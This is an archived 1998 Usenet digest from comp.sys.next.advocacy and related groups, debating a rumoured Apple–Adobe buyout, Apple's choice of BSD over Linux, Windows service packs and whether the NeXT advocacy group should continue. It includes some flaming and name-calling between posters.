> > >True. But it's also true that MS has a very tenuous relationship with
he
> > >publishing sector without major Adobe intervention.
> >
> > And it's for this reason that I support Apple NOT making it any easier
or
> > people to migrate to NT by putting its crown jewels there.
>
> I think Apple can have it both ways. Explained below.
>
> > Even if MS Office ran, say, 30% faster on Mac, Win people would never
ve.
> > Similarly, it's not enough that Photoshop runs 30% faster on Mac to stop
> > formerly-Mac shops from jumping ship. A distinct platform *need* distinct
> > advantages: ColorSync, QT creation, AppleScript, etc. should stay as
tinct
> > advantages.
>
> That's an excellent point. I would actually look at a product like
> Photoshop and decide 'well, we don't need our own colorpickers. We'll just
> use the ones in the OS. And we don't need our own scripting language,
> we'll use the one in the OS.' Apple starts streamlining a lot of these
> apps (like MS does) and at the same time builds in distinct advantages.
> The burden for parity falls on MS. The risk is that Apple and MS possibly
> get back into a pissing contest.
>
>
This is the tone of the discussion where I get a distinct " We want OS level
integration stability" with vendor's implementing their specific GUI onto
he objects.
r
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
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<6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu>
<6s5knl$96$1@ash.prod.itd.earthlink.net> <rmcassid-2808981005530001@hephaestus.eng.uci.edu>
<6s7oei$1el$1@oak.prod.itd.earthlink.net> <rmcassid-2808982302000001@hephaestus.eng.uci.edu>
<6samgn$6f7$1@holly.prod.itd.earthlink.net> <rmcassid-3108980032370001@dialin9062.slip.uci.edu>
<6ser4k$21j$1@ash.prod.itd.earthlink.net> <rmcassid-3108981302170001@hephaestus.eng.uci.edu>
Message-ID: <H52H1.2933$MS.7279167@news.rdc1.sdca.home.com>
Date: Wed, 02 Sep 1998 02:31:03 GMT
NNTP-Posting-Date: Tue, 01 Sep 1998 19:31:03 PDT
Organization: @Home Network
In <rmcassid-3108981302170001@hephaestus.eng.uci.edu> Robert Cassidy wrote:
> In article <6ser4k$21j$1@ash.prod.itd.earthlink.net>, "Ziya Oz"
> <ZiyaOz@earthlink.net> wrote:
>
> >rmcassid@uci.edu (Robert Cassidy) wrote:
> >
> >>That's an excellent point. I would actually look at a product like
> >>Photoshop and decide 'well, we don't need our own colorpickers. We'll
st
> >>use the ones in the OS. And we don't need our own scripting language,
> >>we'll use the one in the OS.' Apple starts streamlining a lot of these
> >>apps (like MS does) and at the same time builds in distinct advantages.
> >>The burden for parity falls on MS.
> >
> >Yes, but I thought you were arguing that Apple wouldn't mess with the
dows
> >versions of its apps, if it acquired Adobe.
>
> To my mind that isn't really messing with them - it's making practical
> changes. It's Apple having much less code to support. It's not an action
> to favor one platform over the other. After all, the code would be taken
> out of the Mac version as well.
>
It OS level dependency while not OS integration you've been wanting.
> >Photoshop Actions is there simply because Adobe did NOT want to use
-only
> >AppleScript. Exposing Actions completely to OSA architecture would open up
p many
> >interesting scripting and integration possibilities, as you suggest. But
then
> >what do they do for their Windows versions? Not have Actions? Same with
> >ColorSync; same with QT, etc.
>
> Colorsync and QT are cross-platform already. MS customers simply have to
> get the product from Apple, nothing new there. Apple can publish a similar
> API for the Windows version, but it'll be COM or VB or whatever they pass
> off as a scripting language over there. But basically pulling these
> products back as apps, and less as OSen. There is no way to properly
> integrate these products without an external scripting environment. The
> fact that MS really doesn't have one is hardly Apple's fault.
>
Why make all this so painful when Apple can cross-platform the whole
ment ala Rhapsody cum MacOS X now. It can run anywhere, well, anywhere Apple
e chooses :-) Forget the individual cross platform technologies. Cross the
whole enviroment and run it in a native window, wherever.
> >This is exactly why I keep saying that I see no way to tightly integrate
apps
> >with an OS *and* have xplatform version of same quality and capability.
> The only
> >way is to dumb them down *or* port the extra layers to the other OS -- at
which
> >point you lose your distinct OS advantage. While MS maybe able to afford
this
> >due its sheer dominance, Apple cannot.
>
> I think that by supporting OSA Apple can offer Frontier on the Windows
> side as the solution. Personally I'm not a huge fan of Frontier - I find
> it to be cumbersome, but the solution is there, and it's cross-platform. I
> think the distinct advantage stays with Apple since AS is relatively
> ubiquitous.
>
>
And before you create all those cross-platform technologies, why not cross
he environment and get the technologies for free?
-r
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 2 Sep 1998 02:45:40 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6sibgk$ssh@news1.panix.com>
References: <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s5408$kc5$1@reader1.reader.news.ozemail.net> <6s6hd0$30u@news1.panix.com> <SCOTT.98Aug28130819@slave.doubleu.com> <EyK67n.7DI@T-FCN.Net> <D31B50461F33C90C.B0C9BB4EF6A49007.725D4B0B54C08000@library-proxy.airnews.net> <EyMHA5.9At@T-FCN.Net> <35EC8621.A28FBDDA@ericsson.com>
On Tue, 01 Sep 1998 18:41:21 -0500,
Michael Peck <Michael.Peck@ericsson.com> wrote:
>Why is Apple trying to build a competitor instead of
>building on top of the competition?
For the same reason Linus wrote an OS kernel rather than a dos extender.
<sarcasm>
Aren't you afraid that you'll be drummed out of the Libertarian party
for speaking out against free market competition?
</sarcasm>
>MacOS X doesn't have any market share yet, and there's no data one way
>or the other as to whether if ever will. I would bet against a new
>operating system that has zero major functional improvements over the
>existing (well-established) competition.
That's the same FUD used against Linux in the SCO and Novell Unixware
newsgroups back in '94 or so.
>I wonder what makes BSD more
>suitable for Macintosh hardware than Linux.
Hardwarewise? Nothing. Keep in mind the following:
The BSD license offers a for profit company more options then Linux's
license offers.
MacOSX uses Mach/BSD now. Porting to Linux would take time, and most
likely push MacOSX back months; if not years, for no finical and (AFAIK)
no technical benefits.
Apple would have little, if any, control over the direction of Linux.
In a worst case scenario, you would have a flood of whiney Mac users
in cola demanding that Linus drop all the shells from the source tree.
In a best case scenario, you would have a flood of whiney Mac users
in cola demanding that Linus add four more colors to the Linux penguin
logo. And do you want the Mac press covering Linux? Silly speculation
from Mac/dev/knife?
>bumper stickers and convention buttons, or will it be starting all over
>again to build brand name with MacOS X?
Apple would have to build brand recognition for its Linux offering in the
same way it would have to build brand recognition for OSX. What would it
gain as being yet another Linux vendor, if it didn't invest time and
energy in building brand recognition?
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: CSNA dead?
MIME-Version: 1.0
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References: <35eaaf53.0@news.depaul.edu> <6seekg$aos$1@news.spacelab.net>
<6seodd$rg0$1@nnrp1.dejanews.com>
Message-ID: <qi2H1.2934$MS.7279167@news.rdc1.sdca.home.com>
Date: Wed, 02 Sep 1998 02:44:38 GMT
NNTP-Posting-Date: Tue, 01 Sep 1998 19:44:38 PDT
Organization: @Home Network
In <6seodd$rg0$1@nnrp1.dejanews.com> spagiola@my-dejanews.com wrote:
> "Charles W. Swiger" <chuck@codefab.com> wrote:
> > Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> > >Does anyone else think CSNA has outlived its usefulness?
> >
> > Nope. Although .advocacy doesn't keep _all_ of the noise out of the rest
t of
> > comp.sys.next, without it the other groups would be much worse.
>
> I think the question was not so much whether there ought to be an advocacy
> group, but whether there ought to be a _NeXT_ advocacy group.
>
>
A word of advice from a wise man once went like this " never, ever forget
ur roots". I vote c.s.n.a. stays...
-r
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 2 Sep 1998 02:14:46 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6si9mm$sdu@news1.panix.com>
References: <6o8adb$i746@odie.mcleod.net> <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s5408$kc5$1@reader1.reader.news.ozemail.net> <6s6hd0$30u@news1.panix.com> <1BE31BB8FDA18957.F7A2629239765D4E.3D7390EA0F6E4AB4@library-proxy.airnews.net>
On Fri, 28 Aug 1998 16:39:03 GMT,
Shelton Garner <leebum@nottowayez.net> wrote:
>But my idea is that Linux has a huge amount of momentum and mindshare
>that Apple could quickly tap into.
I'm pretty sure the "Linux hype" will become "OpenSource hype" as more
companies cash in on OpenSource.
> Apple has what Linux needs and
>vice-versa.
True. But doesn't Apple already have everything Linux has to offer in
BSD and Mach? Many of the people I know from Linux NY run *BSD* rather
than Linux.
>ICQ#: 9393354 * "Given two unrelated technical terms, an Internet
>search engine will retrieve only resumes." -- Schachter's Hypothesis
Cool quote.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 2 Sep 1998 02:14:44 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6si9mk$sdu@news1.panix.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net> <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s5408$kc5$1@reader1.reader.news.ozemail.net> <6s6hd0$30u@news1.panix.com> <SCOTT.98Aug28130819@slave.doubleu.com>
On 28 Aug 98 13:08:19, Scott Hess <scott@nospam.doubleu.com> wrote:
>In article <6s6hd0$30u@news1.panix.com>,
> But can they make money on it? Will Linux users be willing to pay
> $x or more for it?
>Flip the question - what would MacOS X purchasers be willing to pay to
>get an operating system layer which works on a greater variety of
>systems?
Fair enough. :)
> favorable to Apple. What if GGI is added to the kernel and it
> causes problems?
>Don't upgrade the shipping kernel until the problems are fixed?
But then Apple's Linux and "Real Linux" begin to diverge. And after
a while, Apple gains little, if any benefit from the work of the
Linux camp. Were you around for the late 80s and early 90s BSD vs
SYSV holywars?
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: was: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 2 Sep 1998 02:14:42 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6si9mi$sdu@news1.panix.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1E5BD.573CEBAB@ericsson.com> <6rt08j$pfk@newsb.netnews.att.com> <35E42FDC.EA1CA4BA@ericsson.com> <6s1nq7$9mj@newsb.netnews.att.com> <35E46BAA.2C74EA52@ericsson.com> <6s2jb0$oqh@news1.panix.com> <35E5B233.FC15155E@ericsson.com> <6s58qv$7k0@news1.panix.com> <35EACE7B.8BC52068@ericsson.com>
On Mon, 31 Aug 1998 11:25:31 -0500,
Michael Peck <Michael.Peck@ericsson.com> wrote:
>Ah, "I know you are but what am I". Pretty standard fare.
Ah, hypocritical remark. Pretty standard fare.
You claimed that I was vindictive, yet made no effort to substantiate
that claim. How have I been vindictive?
I claimed that *you* are being vindictive, and pointed out that you have
spent the last 18 months in what has got to be the biggest display of 4th
grade school yard behavior. I spent over a year trying to get you to
refrain from name calling. When I failed at that, I decide that you were
not worth the effort it took to maintain civility. You opened that can of
worms, not I. If you can not deal with those consequences, grow up,
apologize for the name calling and (in the future) stick to the discussion.
And I am not the only person that has pointed this out to you. In fact,
I am not even the only person that is pointing this out to you *now*.
You are in FOUR threads, with FOUR other people, all of them complaining
about your childish antics.
If you are going to act like a child and stoop to petty name calling, you
should expect people to treat you like a child. With that in mind, I am
forwarding all your posts to root@ericsson.com and webmaster@ericsson.com.
Maybe your babysitters can take away your toys and get you to behave.
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 1 Sep 98 10:01:29
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Sep1100129@slave.doubleu.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net>
<6o6in8$83n$1@supernews.com>
<gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net>
<6o8adb$i746@odie.mcleod.net>
<ToOp1.3341$24.19242835@news.itd.umich.edu>
<6oimuj$nsq$1@news00.btx.dtag.de>
<pxpst2-1607982126410001@pelli.pathology.pitt.edu>
<B1D4F704-26A9A@206.165.43.134>
<joe.ragosta-1807980702180001@elk58.dol.net>
<6p3i97$507$1@news02.btx.dtag.de>
<D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net>
<35E46FAC.404CD486@ericsson.com> <6s2jb1$oqh@news1.panix.com>
<slrn6u9p46.joh.jedi@dementia.mishnet> <6s3vk3$9qo@news1.panix.com>
<slrn6ucs3n.kbc.kevin@frobozz.sysexperts.com>
<6s6hco$30u@news1.panix.com>
<slrn6ue1vs.q7o.kevin@frobozz.sysexperts.com>
<slrn6ue4qo.113.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
<SCOTT.98Aug28143430@slave.doubleu.com> <EyK6KM.843@T-FCN.Net>
In-reply-to: maury@remove_this.istar.ca's message of Mon, 31 Aug 1998 14:50:45 GMT
In article <EyK6KM.843@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) writes:
In <SCOTT.98Aug28143430@slave.doubleu.com> Scott Hess wrote:
> As I remember it, by the time "RISC raced ahead and Intel caught
> up", NeXT hardware was gone, gone, gone. My first Intel PC,
> purchased in 1994 entirely to run NeXTSTEP, was only _barely_
> competitive with the 25Mhz mono NeXTstation I had purchased 3
> years earlier - for substantially the same price (around $5k).
Sure, but you were basically running a 1.0 OS vs. a 3.x OS. That
doesn't strike me as entirely fair.
Not sure where you're going with that - should the 3.x version have
been slower, or faster?
In any case, they were both running NS3.3. Stations can run OpenStep,
also, but I find it barely bearable.
> Nowadays, I can't argue with the Intel-based PC's points. I can
> put together a really good machine for $1500-$2000, with a decent
> 17" monitor. Even then, though, Intel-based PC's are only just
> now getting close to the neatness factor of NeXTstation I got in
> 1991.
The boos brought in his old Station. Sorry, no PC I've seen comes
CLOSE in neatness factor! Well, maybe the iMac does one better in
some ways, but no _PC_ I've seen.
:-). Well, my goalposts have changed, somewhat. NeXTstations were
really neat if you wanted what they had. If you wanted something they
didn't have, they sucked. PCs are much better in that respect, but to
my mind they now force the flexibility to do more on people who are
more likely to hang themselves with the extra rope than accomplish
anything worthwhile. I strongly believe there are large markets for
both types of machines.
You can put together a fairly awesome homebrew PC these days for
fairly reasonable money. It won't have nearly as much design level
thought put into it - but it will be a lot more powerful. I think
computers are at a stage comparable to the 50's and 60's for
automobiles, when ability to tweak your vehicle was a definite
advantage in some circles - but inability to tweak your vehicle didn't
automatically kick you out of the club.
Converting car-generations to computer-generations, we should have the
computer equivalent of standard fuel injection and airbags in, oh, 10
years :-).
For instance, I, today, would have zero use for an iMac. If I had
kids, I'd get an iMac if only to keep them contained (and off of my
work machines). If Apple doesn't kill the iMac through some stupid
action, they'll be very successful. I think in five years there will
be more iMac style computers sold than there will be
beige-box-with-slots computers sold. I think an iMac style machine is
the next step for the Intel PC world (look at the Cyrix MediaGX
machines, and some of the recent IBM machines). Those slots and
sockets cost real money and real boardspace, and there's not much else
left for them to cut...
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: CSNA dead?
Date: 1 Sep 98 16:52:23
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Sep1165223@slave.doubleu.com>
References: <35eaaf53.0@news.depaul.edu>
In-reply-to: Jonathan W Hendry's message of 31 Aug 98 14:12:35 GMT
In article <35eaaf53.0@news.depaul.edu>,
Jonathan W Hendry <jhendry@shrike.depaul.edu> writes:
Does anyone else think CSNA has outlived its usefulness?
It works reasonably as a filter for "NS/OS/Rhapsody/MacOS X advocacy,
minus MacOS 8.x advocacy." I suspect the mac advocacy group has ten
or twenty times more useless stuff...
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: CSNA dead?
Date: 1 Sep 98 16:50:04
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Sep1165004@slave.doubleu.com>
References: <6seneq$ri0$2@msunews.cl.msu.edu> <6seo4b$m85@shelob.afs.com>
<6sf3f2$l87$1@news.spacelab.net> <6sfd3d$adq$2@msunews.cl.msu.edu>
<6sfhdf$fbc$1@news.xmission.com>
In-reply-to: don@misckit.com's message of 1 Sep 1998 01:07:59 GMT
In article <6sfhdf$fbc$1@news.xmission.com>,
don@misckit.com (Don Yacktman) writes:
Awww, quit whining. I'll bet few, if any, of the people here can
say my name right! And if they can say it, they aren't likely to
be able to spell it right...since it doesn't quite sound like it is
spelled...
With a cough in the middle, like you have something stuck in your
throat, right?
[Just glad my name is relatively easy - I can only think of once when
it was massacred - though people often hear "Heff" over the phone for
some reason...]
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Wed, 02 Sep 1998 03:49:38 +0000
Organization: BM
Message-ID: <6sistm$5j3$1@fir.prod.itd.earthlink.net>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com>
<rmcassid-2608981351410001@hephaestus.eng.uci.edu>
<6s2f73$dv7$1@msunews.cl.msu.edu>
<rmcassid-2708981116090001@hephaestus.eng.uci.edu>
<6s5knl$96$1@ash.prod.itd.earthlink.net>
<rmcassid-2808981005530001@hephaestus.eng.uci.edu>
<6s7oei$1el$1@oak.prod.itd.earthlink.net>
<rmcassid-2808982302000001@hephaestus.eng.uci.edu>
<6samgn$6f7$1@holly.prod.itd.earthlink.net>
<rmcassid-3108980032370001@dialin9062.slip.uci.edu>
<6ser4k$21j$1@ash.prod.itd.earthlink.net>
<rmcassid-3108981302170001@hephaestus.eng.uci.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
rmcassid@uci.edu (Robert Cassidy) wrote:
>>Yes, but I thought you were arguing that Apple wouldn't mess with the Windows
>>versions of its apps, if it acquired Adobe.
>
>To my mind that isn't really messing with them - it's making practical
>changes. It's Apple having much less code to support. It's not an action
>to favor one platform over the other. After all, the code would be taken
>out of the Mac version as well.
Remember all those Windows apps dependent on OLE, ActiveX, etc? Macromedia was
supposed to enable MacOS app to take advantage of them? Things didn't work out
that way, Mac users really didn't want to mess with them. And MS and others
didn't want to go through the agony of developing them either. It's very
difficult to implement these things without the OS provider's participation. I
doubt very much, for instance, Apple could successfully "port" AppleScript to
Windows without MS.
I see no problem telling a publishing house owner,"If you want the kind of
inter-app integration and the level of automation that's possible on MacOS with
AppleScript, you'll need to run your Quark XPress on a Mac, so get used to it."
Same with ColorSync. And some time in the future --> Same with WebObjects on a
12-CPU MacOS XI server. Ditto with 8-CPU/AltiVec QuickTime streamer. Apple
should do what MS does, actually offer purposely cripled versions for the other
OS; offer the best only on the Mac.
I see feature parity of Apple products on NT and MacOS working against Apple's
interests, as they enable NT and diminish Apple advantages.
To be ruthlessly successful, do what MS does: give away the client (Explorer)
keep the back-end, development environment, servers, tools, etc., (.asp/IIS)
close to your chest.
>Colorsync and QT are cross-platform already. MS customers simply have to
>get the product from Apple, nothing new there. Apple can publish a similar
>API for the Windows version, but it'll be COM or VB or whatever they pass
>off as a scripting language over there.
Why? Why?
>But basically pulling these products back as apps, and less as OSen.
I like the idea of turning things into apps as opposed to OS-dependencies, in
general, but ...
> There is no way to properly
>integrate these products without an external scripting environment. The
>fact that MS really doesn't have one is hardly Apple's fault.
And yet you want Apple to somehow solve MS's scripting problem by offering in,
say, an Apple-Adobe product that happens to leverage AppleScript in the MacOS
version, the same capability on the Windows version. This I just don't
understand.
>I think that by supporting OSA Apple can offer Frontier on the Windows
>side as the solution.
Wouldn't that be ironic for Dave?
>Personally I'm not a huge fan of Frontier - I find
>it to be cumbersome,
Neither am I.
>but the solution is there, and it's cross-platform. I
>think the distinct advantage stays with Apple since AS is relatively
>ubiquitous.
I feel much better when Apple can say, as it used to, this we can do and you
cannot. Buy our product.
Ziya Oz
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227>
Subject: Re: What we need from Mac OSuX
Message-ID: <ZX8H1.831$3i2.524085@newsfeed.slurp.net>
Date: Wed, 02 Sep 1998 10:18:33 GMT
NNTP-Posting-Date: Wed, 02 Sep 1998 03:18:33 PDT
Organization: Slurp News Feeds
blewis wrote in message ...
>> At least they get released. Better late than never, a la Apple.
>
>Sure, they may get released, but they are buggy as hell and mostly
>unusable until the first service pack.
Personal opinion...
I don't know anyone that knows what the difference is between Win95 and
Win95 with service pack 1... nor can 95% of any Win95 user find or name a
single Win95 bug... can you?
Dan
From: "Dan" <dan@knowspaam.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <6sccvd$5i@gazette.bcm.tmc.edu> <gierkeNOSPAM-3008981858090001@pm1-35.ile.infi.net> <6scmmf$8dh$1@supernews.com> <35e9f6f2.18392599@nntp.erinet.com>
Subject: Re: What we need from Mac OSuX
Message-ID: <tZsG1.3217$r1.2965200@newsfeed.slurp.net>
Date: Mon, 31 Aug 1998 08:16:25 GMT
NNTP-Posting-Date: Mon, 31 Aug 1998 01:16:25 PDT
Organization: Slurp News Feeds
Brian Lewis wrote in message <35e9f6f2.18392599@nntp.erinet.com>...
>Since Amelio took charge, they've been on target for their OS
>releases.
>
>7.6 - On Time
>8.0 - On Time
>8.1 - On Time
>8.5 - Should be no exception
>
>MS Still hasn't got SP4 for NT 4.0 out after promising and promising
>it would be available in March, the May, then July, then a month after
>NT5 Beta 2.
The difference here is:
1.) Apple releases it's products on time by not finishing it's feature sets.
Example, Copland hit the shelves on time, but did not have PMT or MP as
Apple promised it would.
2.) MS does not allways release it's products on time, because MS insists on
"finishing" it's products before they hit the shelves.
I prefer #2. I'll wait for the finished product (which includes all the
promised feature sets).
MS also knows, the longer they test a product, the better quality it will be
when it's released. SP3 for NT 4.0 is good example of this... while SP1 and
SP2 fixed many bugs, they also added some. It took MS much longer to release
SP3 (which was delayed over and over again), and it resulted in a service
pack that not only fixed more bugs then any other service pack, but it also
did not "add" any bugs.
Dan
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 31 Aug 1998 18:31:56 -0700
Organization: Graves Associates
Message-ID: <gmgraves-3108981831560001@sf-usr1-30-158.dialup.slip.net>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1E5BD.573CEBAB@ericsson.com> <6rt08j$pfk@newsb.netnews.att.com> <35E42FDC.EA1CA4BA@ericsson.com> <6s1nq7$9mj@newsb.netnews.att.com> <gmgraves-2708981106590001@sf-usr1-38-166.dialup.slip.net> <35E5ADA7.E0EE0B35@ericsson.com> <gmgraves-2708981444590001@sf-usr1-9-137.dialup.slip.net> <35E5DE46.66B6062A@ericsson.com> <gmgraves-2808980953500001@sf-usr1-47-175.dialup.slip.net> <35E6F810.E4B8D01F@ericsson.com> <gmgraves-2908981155230001@sf-pm5-10-74.dialup.slip.net> <35EAD0A2.78F8E0AA@ericsson.com> <gmgraves-3108981114540001@sf-usr1-60-188.dialup.slip.net> <35EAF924.2DFD189E@ericsson.com>
In article <35EAF924.2DFD189E@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> George Graves wrote:
>
> [cut]
>
> > > Yes, and "Mac advocates" is really the key phrase, isn't it?
> >
> > As in "people with a lot of experience with Macs", yes.
>
> Sorry, George, that would make me more of a "Mac advocate" than you, and
> that's not an accurate description.
Oh indeed? Another assertion requiring proof.
>
> > And who is going to drag you there first? You have to be there yourself
> > before you can drag anyone else, you know.
>
> Be patient. All will be clear someday. Prepare yourself.
For what, the Macs demise? I have been prepared for that for
quite a while. After all, you anti-Mac trolls have been predicting
it long enough.
George Graves
From: "Todd Arneson" <s124@earthlink.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Wed, 2 Sep 1998 03:58:14 -0700
Organization: EarthLink Network, Inc.
Message-ID: <6sj8fl$rct$1@oak.prod.itd.earthlink.net>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net>
Dan wrote in message ...
>blewis wrote in message ...
>
>>> At least they get released. Better late than never, a la Apple.
>>
>>Sure, they may get released, but they are buggy as hell and mostly
>>unusable until the first service pack.
>
>Personal opinion...
>
>
>I don't know anyone that knows what the difference is between Win95 and
>Win95 with service pack 1... nor can 95% of any Win95 user find or name a
>single Win95 bug... can you?
Nope, but I can name 10 MacOS bugs right off the top of my head.
------------------------------
Todd
s124@earthlink.n*et
http://home.earthlink.net/~s124/
--
AOL IM: AAPLisDUMB; eatAPPLnow; iMac Hater.
--
ICQ: 14470496
--
Flames will be cheerfully returned to
sender----3,000,000 times.
-------------------------------
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: CSNA dead?
Date: 1 Sep 1998 05:13:54 GMT
Organization: MiscKit Development
Message-ID: <6sfvqi$fbc$2@news.xmission.com>
References: <6seneq$ri0$2@msunews.cl.msu.edu> <6seo4b$m85@shelob.afs.com> <6sf3f2$l87$1@news.spacelab.net> <6sfd3d$adq$2@msunews.cl.msu.edu> <6sfhdf$fbc$1@news.xmission.com> <6sfpfs$gue$4@news.idiom.com>
NNTP-Posting-Date: 1 Sep 1998 05:13:54 GMT
jcr.remove@this.phrase.idiom.com (John C. Randolph) wrote:
> Don Yacktman may or may not have said:
> [snip]
>
> -> Hint: silent "t" and the first a is an "awww" sound as in "father". If
> it
> -> were spelled "Yockman" people would be more likely say it right...but as
> it
> -> is, I usually hear "Yak-t-man" which just grates...
>
> Oh, quit trying to put us on. We all know it's pronounced: "Throat-Warbler
> Mangrove."
>
> -jcr (Raymond Luxury-Yacht on alternate Thursdays)
Yes, but only on Thursdays. I never did get the hang of Thursdays.
[It is OK to follow a Python-ism with a Hitchhiker-ism? Should be for me,
since my middle name is Arthur, even if I'm not a Dent...]
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 30 Aug 98 23:40:47 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B20F9382-52C21@206.165.43.124>
References: <derobert-3008982224150001@207-172-119-96.s96.tnt2.brd.erols.co
m>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Anthony DeRobertis <derobert@erols.com> said:
>In article <B20DCE84-5F9B3@206.165.43.126>, "Lawson English"
><english@primenet.com> wrote:
>
>QuickDraw wil need to be modified to be PMT-safe. Next question, please!
>
That's what I thought and that the "enhanced QuickDraw" was very little
related to QUickDraw itself ave that it allowed MacOS developers to use a
QD-like API with a graphics engine designed for PMT. However, if I read
Mark Eaton's cutting criticism of what I said correctly, QuickDraw already
